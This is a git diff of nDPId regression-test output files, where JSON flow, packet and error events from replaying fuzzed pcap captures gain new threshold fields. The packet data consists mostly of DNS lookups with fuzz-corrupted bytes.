{"num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_packet_id":2,"flow_src_last_pkt_time":1120471018720186,"flow_dst_last_pkt_time":1120471018721702,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"thread_ts_usec":1120471018721702,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1CwgAR8InDQuAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAgQAAJxAACwlsb2NhbGhvc3QA"} 01023{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":647,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120471018720186,"flow_src_last_pkt_time":1120471018720186,"flow_dst_last_pkt_time":1120471018721702,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120471018721702,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2824,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": {"num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":649,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":308,"global_ts_usec":1120471018870717} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471018870717,"packet_id":649,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":308,"global_ts_usec":1120471018870717} 00744{"packet_event_id":1,"packet_event_name":"packet","packet_id":649,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":342,"pkt_l4_len":0,"thread_ts_usec":1120471018723316,"pkt":"AODtAW69ADBUADRWCABFAAFIAABACDcRiuXU8iEjwKgBAhPEE8QBNCHFU0lQLzIuMCAxMDAgVHJ5aW5nDQpDYWxsLUlEOiAyOTg1ODE0qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":652,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":242,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471019307986,"flow_src_last_pkt_time":1120471019307986,"flow_dst_last_pkt_time":1120471019307986,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471019307986,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2825,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":242,"flow_packet_id":1,"flow_src_last_pkt_time":1120471019307986,"flow_dst_last_pkt_time":1120471019307986,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471019307986,"pkt":"ADBUADRWAODtAW69CABFAABIbEwAAIARSwXAqAECwKgBAQsJADUANMyuXQ0BAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1886,12 +1886,12 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471049334155,"flow_src_last_pkt_time":1120471049334155,"flow_dst_last_pkt_time":1120471049334155,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471049334155,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_src_last_pkt_time":1120471049334155,"flow_dst_last_pkt_time":1120471049334155,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471049334155,"pkt":"ADBUADRWAODtAW69CABFAABIbFcAAIARSvrAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaU15Alb4AAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":666,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471049334155,"flow_src_last_pkt_time":1120471049334155,"flow_dst_last_pkt_time":1120471049334155,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471049334155,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercimy.v?","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":667,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":18432,"global_ts_usec":1120471051336804} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471051336804,"packet_id":667,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":18432,"global_ts_usec":1120471051336804} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":667,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":18432,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120471049334155,"pkt":"ADBUADRWAODtAW69SABFAABIbFgAAIARQvnAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471053339683,"flow_src_last_pkt_time":1120471053339683,"flow_dst_last_pkt_time":1120471053339683,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471053339683,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_src_last_pkt_time":1120471053339683,"flow_dst_last_pkt_time":1120471053339683,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471053339683,"pkt":"ADBUADRWAODtAW69CABFAABIbFkAAIARSvjAqAECwKoBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJj8XR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":668,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":247,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471053339683,"flow_src_last_pkt_time":1120471053339683,"flow_dst_last_pkt_time":1120471053339683,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471053339683,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.170.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cyberc?ty.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00199{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"packet_id":669,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120471057345430} +00299{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471057345430,"packet_id":669,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","protocol":2048,"global_ts_usec":1120471057345430} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":669,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120471053339683,"pkt":"ADBcADRHAODtAW69CABgAABIbFoAAIARSvfAqAECwKgBAQsLADUANESJ5TABAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liRXdjaXR5AmRrAAAhgAE="} 00778{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":157,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470442140675,"flow_src_last_pkt_time":1120470442140675,"flow_dst_last_pkt_time":1120470442140675,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":28,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":28,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":28,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471053339683,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":19,"ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00734{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":670,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":157,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470442140675,"flow_src_last_pkt_time":1120470442140675,"flow_dst_last_pkt_time":1120470442140675,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":28,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":28,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":28,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471053339683,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","l4_proto":19,"flow_datalink":1,"flow_max_packets":3} @@ -1935,7 +1935,7 @@ 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_src_last_pkt_time":1120471077370875,"flow_dst_last_pkt_time":1120471077370875,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471077370875,"pkt":"ADBUADRWAODtAW69CABFAABIbGAAAIARSvHAqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":676,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471077370875,"flow_src_last_pkt_time":1120471077370875,"flow_dst_last_pkt_time":1120471077370875,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471077370875,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":2,"flow_src_last_pkt_time":1120471078365594,"flow_dst_last_pkt_time":1120471077370875,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471078365594,"pkt":"ADBUADRWAODtAW69CABFAABIbGEAAIARSvDAqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":678,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471080368465} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471080368465,"packet_id":678,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471080368465} 00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":678,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120471078365594,"pkt":"ADBUADRWAODtAW69CABFAABjbGIAAIARSu\/AqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3muZXJjaXR5AmRrAAAhAAE="} 00767{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":679,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":253,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471082371572,"flow_src_last_pkt_time":1120471082371572,"flow_dst_last_pkt_time":1120471082371572,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471082371572,"l3_proto":"ip4","src_ip":"192.168.54.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_src_last_pkt_time":1120471082371572,"flow_dst_last_pkt_time":1120471082371572,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471082371572,"pkt":"ADBUADRWAODtAW69CABFAABIbGMAAIARSu7AqDYCwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcCVzAHAJY2liZXJjaXR5AmRrAAAhAAE="} @@ -1983,7 +1983,7 @@ 00767{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":222,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470908872202,"flow_src_last_pkt_time":1120470908872202,"flow_dst_last_pkt_time":1120470908872202,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471094413365,"l3_proto":"ip4","src_ip":"128.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00771{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":245,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471048339111,"flow_src_last_pkt_time":1120471048339111,"flow_dst_last_pkt_time":1120471048339111,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471094413365,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.114","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00769{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":246,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471049334155,"flow_src_last_pkt_time":1120471049334155,"flow_dst_last_pkt_time":1120471049334155,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471094413365,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2827,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471106433431} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471106433431,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471106433431} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120471094413365,"pkt":"ADBUADRWAODtAW69CABFAABIbG4A3oARSuPAqAECwKgBAQsQJXMANDd+8jYBAFEBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":691,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":257,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471107427770,"flow_src_last_pkt_time":1120471107427770,"flow_dst_last_pkt_time":1120471107427770,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471107427770,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2832,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":1,"flow_src_last_pkt_time":1120471107427770,"flow_dst_last_pkt_time":1120471107427770,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471107427770,"pkt":"ADBUADRWAODtAW69CABFAABIbJIAAIARSuLAqAECwKgBAQsQADUANDd+8jYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -2085,6 +2085,6 @@ ~~ total memory freed........: 6533958 bytes ~~ total allocations/frees...: 124910/124910 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 203 chars +~~ json string min len.......: 303 chars ~~ json string max len.......: 2261 chars -~~ json string avg len.......: 1232 chars +~~ json string avg len.......: 1282 chars diff --git a/test/results/fuzz-2006-09-29-28586.pcap.out b/test/results/fuzz-2006-09-29-28586.pcap.out index a895e7f22..b77072405 100644 --- a/test/results/fuzz-2006-09-29-28586.pcap.out +++ b/test/results/fuzz-2006-09-29-28586.pcap.out @@ -1,12 +1,12 @@ 00501{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00564{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1031854484481540} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2304,"global_ts_usec":1031854484481540} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1031854484481540,"packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","layer_type":2304,"global_ts_usec":1031854484481540} 00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":2304,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1031854484481540,"pkt":"CAAgsl17AFCLk5N8CQBFAAAo8EpAAIAGrEqsFAMFrBQDDQooAFDkFf3+yWv\/bVARIal6iQAABIGD1GDD"} 00760{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1031854484481558,"flow_src_last_pkt_time":1031854484481558,"flow_dst_last_pkt_time":1031854484481558,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1031854484481558,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2600,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1031854484481558,"flow_dst_last_pkt_time":1031854484481558,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854484481558,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKVAAEAGF\/CsFAMNrBQDBQBQCijJa\/9t5BX9\/1AQgywZBgAA"} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1031854484481933,"flow_dst_last_pkt_time":1031854484481558,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1031854484481933,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKZAAEAGF++sFAMNrBQDBQBQCijJa\/9t5BX9\/1ARgywZBQAA"} 